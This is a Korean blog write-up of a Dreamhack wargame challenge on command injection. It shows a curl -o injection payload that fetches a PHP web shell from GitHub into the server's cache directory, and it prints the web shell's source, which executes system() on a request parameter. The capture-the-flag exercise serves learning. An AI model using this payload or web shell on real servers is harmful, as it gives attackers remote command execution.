2023. 11. 18. 16:48ㆍSWLUG/web hacking
Command Injection Advanced | 워게임 | Dreamhack
📌 내풀이
서버와 파일을 열어보았다.
문제풀이를 시작해보겠다.
정상적으로 문자를 입력하지 않으니 이렇게 뜬다.
그래서 일단 내 블로그 주소를 넣어보았다.
그랬더니 이렇게 쭈욱 뜬다.
내 블로그에 대한 코드 같았고 cache file: 을 통해 들어가보니까 내 블로그로 들어가졌다.
이 이상은 도움이 필요할 것 같았다. (코드를 다 둘러보고, 다 뒤져봐도 더이상 힌트가 없었기때문 )
일단 코드를 다시 살펴보자.
1.shell_exec으로 먼저 curl을 디폴트로 실행시켜주는 것을 볼 수 있다.
2.그리고 나서 문자열에 http가 있는지 검사한다.
3.이상한 파일을 삽입하는 것에 대비해 md5로 url을 해싱한다.
4.그 후 cache디렉토리 안에 그 md5 해싱을 파일명으로 하여 파일 내용을 저장하도록 한다.
5. 파일 내용은 요청으로 받은 값이다.
위의 내용대로라면 일반적으로 127.0.0.1요청을 보내면 똑같은 웹페이지가 나오되 백엔드는 구현되어있지 않은 html문서만 나올 것이다.
자 그러면 curl의 인자를 받는 곳에 또 curl을 쓰고 -o옵션으로 파일을 생성하자.
그렇게 되면 두번 curl이 실행되면서 인자 안에서 실행되는 curl은 md5로 해싱되지 않을 것이다.
그리고 httptest -h를 통해서 사용가능한 옵션을 확인해봤다.
결국 이문제의 핵심은 아래인 것 같았다.
- escapeshellcmd 함수는 '-' , '/' 등의 문자들을 필터링 하지 못하는 점을 이용한다.
- curl 명령어의 -o 옵션을 이용해 웹쉘을 파일을 업로드하는 경로에 저장하게 한뒤 실행시켜 FLAG 를 획득한다.
GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell
github에 공개된 PHP 웹쉘을 이용했고 -o 옵션으로 ./cache/exploit.php라는 파일을 생성하도록했다.
웹쉘을 /cache에 업로드하는 payload다.
https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php
payload를 전송했고, curl 명령이 정상적으로 실행됐다.
이제 ./cache/exploit.php에 접근해서 웹쉘이 생성됐는지 확인해보자.
일단은 웹쉘을 생성해야하는데 , 깃허브의 호스팅 서비스를 이용해보려고한다.
<html>
<body>
<form method="GET" name ="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type = "TEXT" name="cmd" autofocus id="cmd" size ="80">
<input type = "SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
아래처럼 익스플로잇 코드를 작성하면 된다.
나의 웹서버에 있는 hack.php를 -o 옵션으로 cache디렉토리에 hack.php라는 이름으로 저장해달라는 코드이다.
아파치의 기본적인 경로 var/www/html인 점을 참고하였다.
그렇게 하면 md5로 해싱된 파일 경로가 나온다.
그거는 전체적인 url이 해싱된 것이고 우리는 따로 hack.php라는 파일을 저장했고, 그 경로로 가게되면 아래처럼 웹쉘이 등장한다
..... 이렇게 시도를 하려고 하였는데 , 자꾸 오류가 뜬다.
그래서 익스플로잇 코드를 짜는 방식을 수정해보았다.
오른쪽 상단에 RAW를 클릭하고 들어가서 나오는 url에다가 -o /var/www/html/cache/hack.php를 추가해서 만들었다.
그랬더니 드디어 해결되었다. 😂😂😂
ls -l 명령어를 통해 살펴볼 수 있다.
아니 난 왜 플래그 파일이 없지????
그치만 플래그를 실행시키기위해 /flag를 치니 flag값은 나왔다 정말 다행이다.
이번 문제는 웹쉘을 만드는게 난관이었던 .. 하지만 해냈으니 다음에는 웹쉘만들수있다!
[ 참고 학습 자료 ]
Dreamhack - Command Injection Advanced (velog.io)
[WARGAME] 드림핵 워게임 - Command Injection Advanced (velog.io)
[ 추가 공부 자료 ]
[dreamhack] command-injection-1 — keyme$ec - Security Study (tistory.com)
'SWLUG > web hacking' 카테고리의 다른 글
Web Hacking 과제_1주차 (수업 내용 정리) (0) | 2024.09.19 |
---|---|
7주차_Webhacking 과제1 : dreamhack [command-injection-chatgpt] (1) | 2023.11.18 |
7주차_Webhacking 과제3 : webhacking.kr [challenge 44] (1) | 2023.11.18 |
7주차_Webhacking 과제2 : dreamhack [command-injection-1] (0) | 2023.11.17 |
swlug _ CTF _ writeup (0) | 2023.11.12 |